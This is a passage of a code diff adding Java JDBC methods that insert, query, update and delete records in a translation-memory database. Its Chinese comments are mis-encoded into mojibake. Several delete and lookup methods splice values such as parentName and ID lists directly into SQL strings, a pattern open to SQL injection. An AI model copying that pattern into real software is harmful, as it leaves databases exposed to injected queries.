stmt.setString(i++, content); + stmt.setString(i++, lang); + stmt.setString(i++, preContext); + stmt.setString(i++, nextContext); + stmt.execute(); + ResultSet rs = stmt.getGeneratedKeys(); + if (rs.next()) { + textDataId = rs.getString(1); + } + rs.close(); + stmt.close(); + + int[] ngrams = generateNgrams(lang, pureText); + if (ngrams.length > 0) { + String insertMatrix = dbConfig.getMatrixSQL("insert"); + insertMatrix = insertMatrix.replaceAll("__LANG__", langCode); + stmt = conn.prepareStatement(insertMatrix); + for (int j = 0; j < ngrams.length; j++) { + stmt.setInt(1, Integer.parseInt(textDataId)); + stmt.setInt(2, ngrams[j]); + stmt.setShort(3, (short) ngrams.length); + stmt.addBatch(); + } + stmt.executeBatch(); + stmt.close(); + } + } + } finally { + if (stmt != null) { + stmt.close(); + } + } + + return textDataId; + } + + /** + * 将数æ®æ’å…¥TMXPROPS表 + * @param params + * ; + * @throws SQLException + */ + public void insertTMXProp(int parentPk, String parentName, String type, String lang, String encoding, String content) + throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-tmxprops"); + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setString(i++, parentName); + stmt.setInt(i++, parentPk); + stmt.setString(i++, type); + stmt.setString(i++, Utils.convertLangCode(lang)); + stmt.setString(i++, encoding); + stmt.setString(i++, content); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * 将数æ®æ’å…¥TMXNOTES表 + * @param params + * ; + * @throws SQLException + */ + public void insertTMXNote(int parentPk, String parentName, String content, String creationId, String creationDate, + String changeId, String changeDate, String encoding, String lang) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-tmxnotes"); + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setString(i++, parentName); + stmt.setInt(i++, parentPk); + stmt.setString(i++, content); + stmt.setString(i++, creationId); + stmt.setString(i++, creationDate); + stmt.setString(i++, changeId); + stmt.setString(i++, changeDate); + stmt.setString(i++, encoding); + stmt.setString(i++, Utils.convertLangCode(lang)); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * 将数æ®å†™å…¥åˆ°Extra表中 + * @param type + * @param eleName + * @param eleContent + * @param pName + * @param pId + * @throws SQLException + * ; + */ + public void insertTMXExtra(String type, String eleName, String eleContent, String pName, String pId) + throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-tmxextra"); + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setString(i++, pName); + stmt.setInt(i++, Integer.parseInt(pId)); + stmt.setString(i++, type); + stmt.setString(i++, eleName); + stmt.setString(i++, eleContent); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * 语言在数æ®åº“中是å¦å­˜åœ¨ + * @param lang + * 语言,如zh-CN + * @return true存在,falseä¸å­˜åœ¨ + * @throws SQLException + * ; + */ + public boolean hasLangInDB(String lang) throws SQLException { + String sql = dbConfig.getOperateDbSQL("get-lang-bycode"); + Map> langRs = query(sql, new Object[] { lang }); + if (langRs.size() > 0) { + return true; + } else { + return false; + } + } + + /** + * 判断数æ®åº“中是å¦æœ‰ç›¸åº”语言数æ®åº“记录 + * @param lang + * 语言代ç ,如:en-Us + * @param type + * æ•°æ®è®°å½•ç±»åž‹,M:记忆库,B:术语库 + * @return ; + * @throws SQLException + */ + public boolean checkHasMatchs(String lang, String type) throws SQLException { + PreparedStatement stm = null; + ResultSet rs = null; + try { + String sql = dbConfig.getOperateDbSQL("get-textdataid-bylang"); + stm = conn.prepareStatement(sql); + stm.setString(1, type); + stm.setString(2, lang); + rs = stm.executeQuery(); + if (rs.next()) { + return true; + } else { + return false; + } + } finally { + if (rs != null) { + rs.close(); + } + if (stm != null) { + stm.close(); + } + } + } + + /** + * 获å–MExtra表中的的值 + * @param tuid + * @return 返回Map<列åºå·,MAP<列å,值>> + * @throws SQLException + * ; + */ + public Map> getExtraValue(Integer parentId, String parentName, String type) + throws SQLException { + Map> rs = query(dbConfig.getOperateDbSQL("get-tuextra-bytuid"), new Object[] { + parentId, parentName, type }); + return rs; + } + + /** + * 获å–MProp表中的值 + * @return 返回对应的MProp表中的值 Map<列åºå·,MAP<列å,值>>; + * @throws SQLException + */ + public Map> getMPropValue(Integer parentId, String parentName) throws SQLException { + Map> rs = query(dbConfig.getOperateDbSQL("get-mporp-byparentid"), new Object[] { + parentId, parentName }); + return rs; + } + + // SELECT + // MPPKID, PARENTNAME, PARENTID, PNAME, LANG, ENCODING, CONTENT + // FROM + // MPROP WHERE PARENTID=? AND PARENTNAME=? + public List getTuMprops(int parentId, String parentName) throws SQLException { + List result = new ArrayList(); + String sql = dbConfig.getOperateDbSQL("get-mporp-byparentid"); + PreparedStatement psmt = null; + ResultSet rs = null; + try { + psmt = conn.prepareStatement(sql); + psmt.setInt(1, parentId); + psmt.setString(2, parentName); + rs = psmt.executeQuery(); + + while (rs.next()) { + TmxProp av = new TmxProp(rs.getString(4), rs.getString(7)); + // fix _addPKID + av.setDbPk(rs.getInt(1)); + result.add(av); + } + } finally { + if (rs != null) { + rs.close(); + } + if (psmt != null) { + psmt.close(); + } + } + return result; + } + + public List getTuMNote(int parentId, String parentName) throws SQLException { + List result = new ArrayList(); + // SELECT CONTENT FROM MNOTE WHERE PARENTID=? AND PARENTNAME=? + String sql = dbConfig.getOperateDbSQL("get-mnote-byparentid"); + PreparedStatement psmt = null; + ResultSet rs = null; + try { + psmt = conn.prepareStatement(sql); + psmt.setInt(1, parentId); + psmt.setString(2, parentName); + rs = psmt.executeQuery(); + + while (rs.next()) { + TmxNote note = new TmxNote(); + note.setContent(rs.getString(1)); + note.setDbPk(rs.getInt(2)); + result.add(note); + } + } finally { + if (rs != null) { + rs.close(); + } + if (psmt != null) { + psmt.close(); + } + } + return result; + } + + /** + * 获å–MNote表中的的值 + * @param parentId + * @param parentName + * @return + * @throws SQLException + * ; + */ + public Map> getMNoteValue(Integer parentId, String parentName) throws SQLException { + Map> rs = query(dbConfig.getOperateDbSQL("get-tunote-bytuid"), new Object[] { + parentName, parentId }); + return rs; + } + + /** + * æ ¹æ®æŒ‡å®šçš„语言,上下文和纯文本的hashç åœ¨TEXTDATA表中查找记录 + * @param hash + * 纯文本的hashç  + * @param lang + * è¯­è¨€ä»£ç  + * @param preContext + * 上文 hashç  + * @param nextContext + * 下文hashç  + * @param type + * 记录类型,M:TMX,B:tbx + * @return 一组符åˆæ¡ä»¶çš„TEXTDATAæ•°æ®è®°å½•çš„主键 + * @throws SQLException + * ; + */ + public List getTextDataId(int hash, String lang, String preContext, String nextContext, String type) + throws SQLException { + List ids = new ArrayList(); + PreparedStatement stmt = null; + ResultSet rs = null; + try { + String sql = dbConfig.getOperateDbSQL("get-textdataid-bycontext"); + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setInt(i++, hash); + stmt.setString(i++, preContext); + stmt.setString(i++, nextContext); + stmt.setString(i++, lang); + stmt.setString(i++, type); + rs = stmt.executeQuery(); + while (rs.next()) { + ids.add(rs.getInt("TPKID") + ""); + } + } finally { + if (rs != null) { + rs.close(); + } + if (stmt != null) { + stmt.close(); + } + } + return ids; + } + + /** + * æ ¹æ®æŒ‡å®šçš„语言,上下文和纯文本的hashç åœ¨TEXTDATA表中查找记录 + * @param hash + * 纯文本的hashç  + * @param lang + * è¯­è¨€ä»£ç  + * @param type + * 记录类型,M:TMX,B:tbx + * @return 一组符åˆæ¡ä»¶çš„TEXTDATAæ•°æ®è®°å½•çš„主键 + * @throws SQLException + * ; + */ + public List getTextDataId(int hash, String lang, String type) throws SQLException { + List ids = new ArrayList(); + PreparedStatement stmt = null; + ResultSet rs = null; + try { + String sql = dbConfig.getOperateDbSQL("get-textdataid"); + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setInt(i++, hash); + stmt.setString(i++, lang); + stmt.setString(i++, type); + rs = stmt.executeQuery(); + while (rs.next()) { + ids.add(rs.getString("TPKID")); + } + } finally { + if (rs != null) { + rs.close(); + } + if (stmt != null) { + stmt.close(); + } + } + return ids; + } + + public List getTUInfoByTuvInfo(int hash, String lang, String tuId) throws SQLException { + String type = "M"; + List results = new ArrayList(); + PreparedStatement stmt = null; + ResultSet rs = null; + try { + String sql = dbConfig.getOperateDbSQL("get-tuinfo-bytuvinfo"); + String tempSql = "select count(MTUPKID) from (" + sql + ") A"; + int rowCount = 0; + PreparedStatement stm = null; + ResultSet r = null; + try { + stm = conn.prepareStatement(tempSql); + stm.setInt(1, hash); + stm.setString(2, lang); + stm.setString(3, type); + r = stm.executeQuery(); + while (r.next()) { + rowCount = r.getInt(1); + } + } finally { + if (r != null) { + r.close(); + } + if (stm != null) { + stm.close(); + } + } + if (rowCount == 0) { + return results; + } + // SELECT MTUPKID, TUID , CHANGEID, CHANGEDATE, PRECONTEXT, NEXTCONTEXT FROM MTU + // INNER JOIN TEXTDATA ON MTUPKID = GROUPID AND HASH = ? AND LANG = ? AND TYPE = ? + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setInt(i++, hash); + stmt.setString(i++, lang); + stmt.setString(i++, type); + rs = stmt.executeQuery(); + if (rowCount == 1 && rs.next()) { + TmxTU tu = new TmxTU(); + tu.setTmId(rs.getInt(1)); + tu.setTuId(rs.getString(2)); + tu.setChangeUser(rs.getString(3)); + Timestamp _v = rs.getTimestamp(4); + String changeDate = null; + if (_v != null) { + changeDate = DateUtils.formatToUTC(_v.getTime()); + } + tu.setChangeDate(changeDate); + tu.appendContext(TmxContexts.PRE_CONTEXT_NAME, rs.getString(5)); + tu.appendContext(TmxContexts.NEXT_CONTEXT_NAME, rs.getString(6)); + results.add(tu); + } else { + while (rs.next()) { + String _tuid = rs.getString(2); + if (_tuid.equals(tuId)) { + TmxTU tu = new TmxTU(); + tu.setTmId(rs.getInt(1)); + tu.setTuId(_tuid); + tu.setChangeUser(rs.getString(3)); + Timestamp _v = rs.getTimestamp(4); + String changeDate = null; + if (_v != null) { + changeDate = DateUtils.formatToUTC(_v.getTime()); + } + tu.setChangeDate(changeDate); + tu.appendContext(TmxContexts.PRE_CONTEXT_NAME, rs.getString(5)); + tu.appendContext(TmxContexts.NEXT_CONTEXT_NAME, rs.getString(6)); + results.add(tu); + } + } + } + } finally { + if (rs != null) { + rs.close(); + } + if (stmt != null) { + stmt.close(); + } + } + return results; + } + + public List> getTUInfoByTuvInfo(int hash, String lang, String type, String tuId, + String preContext, String nextContext) throws SQLException { + List> resultList = new ArrayList>(); + PreparedStatement stmt = null; + ResultSet rs = null; + try { + String sql = dbConfig.getOperateDbSQL("get-tuinfo-bytuvinfo-withcontext"); + + String tempSql = "select count(*) from (" + sql + ") A"; + int rowCount = 0; + PreparedStatement stm = null; + ResultSet r = null; + try { + stm = conn.prepareStatement(tempSql); + stm.setInt(1, hash); + stm.setString(2, lang); + stm.setString(3, type); + stm.setString(4, preContext); + stm.setString(5, nextContext); + r = stm.executeQuery(); + while (r.next()) { + rowCount = r.getInt(1); + } + } finally { + if (r != null) { + r.close(); + } + if (stm != null) { + stm.close(); + } + } + if (rowCount == 0) + return resultList; + + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setInt(i++, hash); + stmt.setString(i++, lang); + stmt.setString(i++, type); + stmt.setString(i++, preContext); + stmt.setString(i++, nextContext); + rs = stmt.executeQuery(); + ResultSetMetaData meta = rs.getMetaData(); + int cols = meta.getColumnCount(); + if (rowCount == 1 && rs.next()) { + Map rowData = new HashMap(); + for (int j = 1; j <= cols; j++) { + String colName = meta.getColumnName(j).toUpperCase(); + String value = null; + if (colName.equalsIgnoreCase("CREATIONDATE") || colName.equalsIgnoreCase("CHANGEDATE")) { + Timestamp _v = rs.getTimestamp(j); + if (_v != null) { + value = DateUtils.formatToUTC(rs.getTimestamp(j).getTime()); + } + } else { + value = rs.getString(j); + } + rowData.put(colName, value); + } + resultList.add(rowData); + } else { + rs.beforeFirst(); + while (rs.next()) { + String _tuid = rs.getString(2); + if (_tuid.equals(tuId)) { + Map rowData = new HashMap(); + for (int j = 1; j <= cols; j++) { + String colName = meta.getColumnName(j).toUpperCase(); + String value = rs.getString(j); + if (colName.equalsIgnoreCase("CREATIONDATE") || colName.equalsIgnoreCase("CHANGEDATE")) { + Timestamp _v = rs.getTimestamp(j); + if (_v != null) { + value = DateUtils.formatToUTC(rs.getTimestamp(j).getTime()); + } + } + rowData.put(colName, value); + } + resultList.add(rowData); + } + } + } + } finally { + if (rs != null) { + rs.close(); + } + if (stmt != null) { + stmt.close(); + } + } + return resultList; + } + + /** + * 获å–æŸä¸€MTU下的对应语言的textData + * @param groupId + * MTU表的主键 + * @param type + * 类型,区分TMXå’ŒTBX + * @param lang + * è¯­è¨€ä»£ç  + * @return TEXTDATAçš„ä¸»é”®é›†åˆ + * @throws SQLException + * ; + */ + public List getTextDataIdByGroupIdLang(int groupId, String type, String lang) throws SQLException { + List r = new ArrayList(); + PreparedStatement stmt = null; + ResultSet rs = null; + try { + String sql = dbConfig.getOperateDbSQL("get-textdataid-bygroupidlang"); + stmt = conn.prepareStatement(sql); + stmt.setInt(1, groupId); + stmt.setString(2, type); + stmt.setString(3, lang); + rs = stmt.executeQuery(); + while (rs.next()) { + int pk = rs.getInt(1); + String content = rs.getString(2); + if (content == null) { + continue; + } + TmxSegement tuv = new TmxSegement(); + tuv.setDbPk(pk); + tuv.setFullText(content); + tuv.setLangCode(lang); + r.add(tuv); + } + } finally { + if (rs != null) { + rs.close(); + } + if (stmt != null) { + stmt.close(); + } + } + return r; + } + + /** + * æ ¹æ®æ‰€å±žç»„获å–TextData è¡¨ä¸­çš„æ•°æ® + * @param type + * 类型,"M"或者"B" + * @param groupId + * TU主键或者TermEntry主键 + * @param lang + * 语言 "EN-US" + * @return + * @throws SQLException + * ; + */ + public Map getTextDataValue(String type, Integer groupId, String lang) throws SQLException { + Map> rs = query(dbConfig.getOperateDbSQL("get-textdata-bygroupid"), new Object[] { + type, groupId, lang }); + return rs.get(0); + } + + /** + * 通过TU在数æ®åº“中的主键获å–MTU表中的内容,å³TU的主è¦å±žæ€§ + * @param tuPkid + * @return + * @throws SQLException + * ; + */ + public Map getTUByTuPkId(Integer tuPkid) throws SQLException { + Map> rs = query(dbConfig.getOperateDbSQL("get-tu-bytupkid"), + new Object[] { tuPkid }); + if (rs == null || rs.size() == 0) { + return null; + } else { + return rs.get(0); + } + } + + /** + * æ ¹æ®TUV主键集获å–MTU表中的记录, + * @param tuvPks + * TUV主键集,åŒä¸€ä¸ªTU下的多个TUV主键将åªè¿”回一æ¡TU记录 + * @return 查询到的数æ®é›†ï¼Œç©ºList æœªæŸ¥è¯¢åˆ°æ•°æ® + * @throws SQLException + * ; + */ + public List> getTUInfoByTuvPkids(List tuvPks) throws SQLException { + List> resultList = new ArrayList>(); + if (tuvPks.size() == 0) { + return resultList; + } + String set = "" + tuvPks.get(0); //$NON-NLS-1$ + for (int i = 1; i < tuvPks.size(); i++) { + set = set + "," + tuvPks.get(i); //$NON-NLS-1$ + } + String querySql = dbConfig.getOperateDbSQL("get-tu-bytupkids"); + querySql = querySql.replace("__SET__", set); + PreparedStatement psmt = null; + ResultSet rs = null; + try { + psmt = conn.prepareStatement(querySql); + rs = psmt.executeQuery(); + ResultSetMetaData meta = rs.getMetaData(); + int cols = meta.getColumnCount(); + while (rs.next()) { + Map rowData = new HashMap(); + for (int i = 1; i <= cols; i++) { + String colName = meta.getColumnName(i).toUpperCase(); + String value = null; + if (colName.equalsIgnoreCase("CREATIONDATE") || colName.equalsIgnoreCase("CHANGEDATE")) { + Timestamp _v = rs.getTimestamp(i); + if (_v != null) { + value = DateUtils.formatToUTC(rs.getTimestamp(i).getTime()); + } + } else { + value = rs.getString(i); + } + rowData.put(colName, value); + } + resultList.add(rowData); + } + } finally { + if (rs != null) { + rs.close(); + } + if (psmt != null) { + psmt.close(); + } + } + return resultList; + } + + /** + * 通过主键,æ›´æ–°MTU表 + * @param params + * @throws SQLException + * ; + */ + public void updateTU(Map params) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("update-tu"); + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setString(i++, params.get("CREATIONID")); + stmt.setTimestamp(i++, DateUtils.getTimestampFromUTC(params.get("CREATIONDATE"))); + stmt.setString(i++, params.get("CHANGEID")); + stmt.setTimestamp(i++, DateUtils.getTimestampFromUTC(params.get("CHANGEDATE"))); + stmt.setString(i++, params.get("CREATIONTOOL")); + stmt.setString(i++, params.get("CREATIONTOOLVERSION")); + stmt.setString(i++, params.get("CLIENT")); + stmt.setString(i++, params.get("PROJECTREF")); + stmt.setString(i++, params.get("JOBREF")); + stmt.setString(i++, params.get("TUID")); + stmt.setInt(i++, Integer.parseInt(params.get("MTUPKID"))); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + public void updateTuChangeInfo(int tupk, String tuId, String changeId, String changeDate) throws SQLException { + // + // UPDATE MTU SET TUID=?, CHANGEID=?, CHANGEDATE=? WHERE MTUPKID=? + // + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("uppdateTuChangeInfo-by-MTUPKID"); + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setString(i++, tuId); + stmt.setString(i++, changeId); + stmt.setTimestamp(i++, DateUtils.getTimestampFromUTC(changeDate)); + stmt.setInt(i++, tupk); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * 批é‡æ›´æ–°MExtra表中的Content字段 + * @param params + * Map<è¡Œå·ï¼ŒMap<列å,值>> + * @throws SQLException + * ; + */ + public void updateTUExtra(Map> params) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("update-tuextra"); + stmt = conn.prepareStatement(sql); + for (Integer key : params.keySet()) { + int i = 1; + Map param = params.get(key); + stmt.setString(i++, param.get("CONTENT")); + stmt.setString(i++, param.get("MEPKID")); + stmt.addBatch(); + } + stmt.executeBatch(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * 批é‡æ›´æ–°MProp表中的Content内容 + * @param params + * Map<è¡Œå·ï¼ŒMap<列å,值>> + * @throws SQLException + * ; + */ + public void updateMProp(Map> params) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("update-mprop"); + stmt = conn.prepareStatement(sql); + for (Integer key : params.keySet()) { + int i = 1; + Map param = params.get(key); + stmt.setString(i++, param.get("CONTENT")); + stmt.setInt(i++, Integer.parseInt(param.get("MPPKID"))); + stmt.addBatch(); + } + stmt.executeBatch(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + public void updateTuvContext(int tupkid, String lang, String preContext, String nextContext) throws SQLException { + // UPDATE TEXTDATA SET PRECONTEXT = ? , NEXTCONTEXT = ? WHERE GROUP = ? AND LANG = ? + String sql = dbConfig.getOperateDbSQL("updateContext-by-gruopid-lang"); + PreparedStatement stmt = null; + try { + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setString(i++, preContext); + stmt.setString(i++, nextContext); + stmt.setInt(i++, tupkid); + stmt.setString(i++, lang); + + stmt.executeUpdate(); + + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * 删除TUV相关的全部内容,å³TEXTDATA表 + * @param textDataId + * @param lang + * @throws SQLException + * ; + */ + public int[] deleteAllTuvRelations(List textDataId, String lang) throws SQLException { + if (textDataId.size() == 0) { + return new int[0]; + } + int[] executeBatch = new int[0]; + StringBuffer sqlWhereBf = new StringBuffer(); + sqlWhereBf.append("__PKID__ = ").append(textDataId.get(0)).append(" or "); + for (int i = 1; i < textDataId.size(); i++) { + sqlWhereBf.append("__PKID__ = ").append(textDataId.get(i)).append(" or "); + } + String sqlWhereStr = sqlWhereBf.substring(0, sqlWhereBf.length() - 3); + + Statement stmt = null; + try { + stmt = conn.createStatement(); + String sql = dbConfig.getOperateDbSQL("delete-textdata-bytextdataid"); + String _where = sqlWhereStr.replace("__PKID__", "TPKID"); + sql = sql.replace("__WHERE__", _where); + stmt.addBatch(sql); + + String deleteMatrixSql = dbConfig.getMatrixSQL("delete"); + deleteMatrixSql = deleteMatrixSql.replace("__WHERE__", _where); + deleteMatrixSql = deleteMatrixSql.replaceAll("__LANG__", Utils.langToCode(lang).toUpperCase()); + stmt.addBatch(deleteMatrixSql); + + _where = sqlWhereStr.replace("__PKID__", "PARENTID"); + _where += " AND PARENTNAME = 'TUV'"; + sql = dbConfig.getOperateDbSQL("delete-tuvprops"); + sql = sql.replace("__WHERE__", _where); + stmt.addBatch(sql); + + sql = dbConfig.getOperateDbSQL("delete-tuvnotes"); + sql = sql.replace("__WHERE__", _where); + stmt.addBatch(sql); + + sql = dbConfig.getOperateDbSQL("delete-tuvextra"); + sql = sql.replace("__WHERE__", _where); + stmt.addBatch(sql); + + executeBatch = stmt.executeBatch(); + return executeBatch; + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * 删除Mprop表中的记录 + * @param parentName + * 父节点å称 + * @param set + * SQL set集 用于 xx in (__SET__) + * @throws SQLException + * ; + */ + public void deleteMprop(String parentName, String set) throws SQLException { + Statement stmt = null; + try { + // DELETE FROM MPROP WHERE __WHERE__ + String sql = dbConfig.getOperateDbSQL("delete-tuvprops"); + String where = "PARENTNAME='" + parentName + "' AND PARENTID IN (" + set + ")"; + sql = sql.replace("__WHERE__", where); + stmt = conn.createStatement(); + stmt.executeUpdate(sql); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * 删除MNOTE表中的记录 + * @param parentName + * @param set + * @throws SQLException + * ; + */ + public void deleteMNote(String parentName, String set) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("delete-tuvnotes"); + String where = "PARENTNAME='" + parentName + "' AND PARENTID IN (" + set + ")"; + sql = sql.replace("__WHERE__", where); + stmt = conn.prepareStatement(sql); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * 删除MEXTRA表中的记录 + * @param parentName + * @param set + * @throws SQLException + * ; + */ + public void deleteExtra(String parentName, String set) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("delete-tuvextra"); + sql = sql.replace("__SET__", set); + stmt = conn.prepareStatement(sql); + stmt.setString(1, parentName); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * 删除MATRXLANG表中的记录 + * @param set + * @param lang + * 如 en-US + * @throws SQLException + * ; + */ + public void deleteMatrxLang(String set, String lang) throws SQLException { + PreparedStatement stmt = null; + try { + String deleteMatrixSql = dbConfig.getMatrixSQL("delete"); + deleteMatrixSql = deleteMatrixSql.replace("__WHERE__", " TPKID IN (" + set + ") "); + deleteMatrixSql = deleteMatrixSql.replaceAll("__LANG__", Utils.langToCode(lang).toUpperCase()); + stmt = conn.prepareStatement(deleteMatrixSql); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + + } + + // TODO =========================TMX部分(结æŸ)========================= + + /** + * 查找指定文本相应语言的术语列表。 + * @param srcText + * 指定的文本。 + * @param srcLang + * æºè¯­è¨€ä»£ç ã€‚ + * @param tgtLang + * 目标语言代ç ã€‚ + * @return Vector 返回匹é…的术语信æ¯ã€‚
    + * æ¯æ¡æœ¯è¯­ä¿¡æ¯ä½¿ç”¨ä¸€ä¸ª Hashable ä¿å­˜ã€‚分别包括如下键值信æ¯:
    + * Key TUID 翻译å•å…ƒID
    + * Key SRCLANG æºè¯­è¨€ä»£ç 
    + * Key SRCTEXT æºè¯­è¨€æœ¯è¯­
    + * Key TGTLANG 目标语言代ç 
    + * Key TGTTEXT 目标语言术语
    + * 若无匹é…的术语,返回 null。 + */ + public Vector> checkTerms(String srcText, String srcLang, String tgtLang) { + // TODO 需添加实现。请å‚考 R7 业务逻辑代ç ã€‚若具体数æ®åº“实现的代ç éœ€é‡å†™ï¼Œè¯·åˆ°å…·ä½“实现类中实现或是é‡å†™ã€‚ + + return null; + } + + /** + * 查找指定文本相应语言高于最低匹é…率的匹é…。该方法支æŒä¸Šä¸‹æ–‡ã€‚ 其中匹é…率为 100% 且上下文也匹é…的匹é…率将设置为 101%。 匹é…需è¦æ ¹æ®ç½šåˆ†ç­–略罚分åŽï¼Œå†æ ¹æ®åŒ¹é…率按é™åºæŽ’åºã€‚ + * 匹é…超过匹é…上é™æ—¶ï¼Œä»…ä¿ç•™åŒ¹é…上é™é™åˆ¶çš„匹é…。 + * @param srcPureText + * 指定的æºæ–‡æœ¬ã€‚ + * @param srcContent + * æºèŠ‚点内容文本,用于判断标准是å¦åŒ¹é…。 + * @param srcLang + * æºè¯­è¨€ä»£ç ã€‚ + * @param tgtLang + * 目标语言代ç ã€‚ + * @param caseSensitive + * 是å¦åŒºåˆ†å¤§å°å†™ã€‚ + * @param minSimilarity + * 最å°åŒ¹é…率。为百分比值。如 30%,则å–值 30. + * @param matchUpperLimit + * 匹é…个数上é™ã€‚ + * @param tagPenalty + * 错误标记罚分标准 + * @param isSinglePenalty + * 罚分策略。Yes,则æ¯ä¸ªé”™è¯¯éƒ½è¦æ‰£ä¸€æ¬¡åˆ†ã€‚No,则所有错误都åªæ‰£ä¸€æ¬¡åˆ†ã€‚ + * @param contexts + * 上下文。该数组有两个元素,第一个为上文,第二个为下文。传递最近的上下文文本段的hashCode,多个上文或下文中使用逗å·åˆ†éš”。 + * @param contextSize + * 当å‰ä¸Šä¸‹æ–‡çš„大å°ã€‚ + * @param overwritePerfectMatch + * 在匹é…率为 100% 的完美匹é…超过多个时,是å¦é€šè¿‡è¦†ç›–策略仅ä¿ç•™ä¸€ä¸ªã€‚ + * @return Vector 返回匹é…ä¿¡æ¯ã€‚
    + * æ¯æ¡æœ¯è¯­ä¿¡æ¯ä½¿ç”¨ä¸€ä¸ª Hashable ä¿å­˜ã€‚分别包括如下键值信æ¯:
    + * Key TUID 翻译å•å…ƒID
    + * Key SRCLANG æºè¯­è¨€ä»£ç 
    + * Key SRCTEXT æºè¯­è¨€æ–‡æœ¬ï¼Œä¸å¸¦æ ‡è®°ã€‚
    + * Key SRCCONTENT æºè¯­è¨€å†…容,带标记。
    + * Key SRCCREATIONID æºèŠ‚点创建者ID。
    + * Key SRCCREATIONDATE æºèŠ‚点创建时间。
    + * Key SRCCHANGEID æºèŠ‚点修改者ID。
    + * Key SRCCHANGEDATE æºèŠ‚点修改时间。
    + * Key PRECONTEXT 上文,HashCode 值,多个上文间按顺åºç”¨é€—å·è¿žæŽ¥ã€‚
    + * Key NEXTCONTEXT 下文,HashCode 值,多个下文间按顺åºç”¨é€—å·è¿žæŽ¥ã€‚
    + * Key SRCPROJECTREF æºèŠ‚点项目å‚考信æ¯å±žæ€§ã€‚
    + * Key SRCJOBREF æºèŠ‚点任务å‚考信æ¯å±žæ€§ã€‚
    + * Key TGTLANG 目标语言代ç 
    + * Key TGTTEXT 目标语言文本,ä¸å¸¦æ ‡è®°ã€‚
    + * Key TGTCONTENT 目标语言内容,带标记。
    + * Key TGTCREATIONID 目标节点创建者ID。
    + * Key TGTCREATIONDATE 目标节点创建者时间
    + * Key TGTCHANGEID 目标节点修改者ID。
    + * Key TGTCHANGEDATE 目标节点修å¤æ—¶é—´ã€‚
    + * Key TGTPROJECTREF 目标节点项目å‚考信æ¯å±žæ€§ã€‚
    + * Key TGTJOBREF 目标节点任务å‚考信æ¯å±žæ€§ã€‚。
    + * Key SIMILARITY 匹é…率。
    + * 若无匹é…,返回 null。 + * @throws SQLException + */ + public Vector> findMatch(String srcPureText, String srcContent, String srcLang, + String tgtLang, boolean caseSensitive, int minSimilarity, int matchUpperLimit, int tagPenalty, + boolean isSinglePenalty, String[] contexts, int contextSize, boolean overwritePerfectMatch) + throws SQLException { + // TODO 需添加实现。请å‚考 R7 业务逻辑代ç ã€‚若具体数æ®åº“实现的代ç éœ€é‡å†™ï¼Œè¯·åˆ°å…·ä½“实现类中实现或是é‡å†™ã€‚ + + return null; + } + + /** + * 查找指定文本相应语言高于最低匹é…率的匹é…。该方法ä¸æ”¯æŒä¸Šä¸‹æ–‡ã€‚ 匹é…需è¦æ ¹æ®ç½šåˆ†ç­–略罚分åŽï¼Œå†æ ¹æ®åŒ¹é…率按é™åºæŽ’åºã€‚ 匹é…超过匹é…上é™æ—¶ï¼Œä»…ä¿ç•™åŒ¹é…上é™é™åˆ¶çš„匹é…。 + * @param srcText + * 指定的æºæ–‡æœ¬ã€‚ + * @param srcContent + * æºèŠ‚点内容文本,用于判断标准是å¦åŒ¹é…。 + * @param srcLang + * æºè¯­è¨€ä»£ç ã€‚ + * @param tgtLang + * 目标语言代ç ã€‚ + * @param caseSensitive + * 是å¦åŒºåˆ†å¤§å°å†™ã€‚ + * @param minSimilarity + * 最å°åŒ¹é…率。为百分比值。如 30%,则å–值 30. + * @param matchUpperLimit + * 匹é…个数上é™ã€‚ + * @param tagPenalty + * 错误标记罚分标准 + * @param isSinglePenalty + * 罚分策略。Yes,则æ¯ä¸ªé”™è¯¯éƒ½è¦æ‰£ä¸€æ¬¡åˆ†ã€‚No,则所有错误都åªæ‰£ä¸€æ¬¡åˆ†ã€‚ + * @param overwritePerfectMatch + * 在匹é…率为 100% 的完美匹é…超过多个时,是å¦é€šè¿‡è¦†ç›–策略仅ä¿ç•™ä¸€ä¸ªã€‚ + * @return Vector 返回匹é…ä¿¡æ¯ã€‚
    + * æ¯æ¡æœ¯è¯­ä¿¡æ¯ä½¿ç”¨ä¸€ä¸ª Hashable ä¿å­˜ã€‚分别包括如下键值信æ¯:
    + * Key TUID 翻译å•å…ƒID
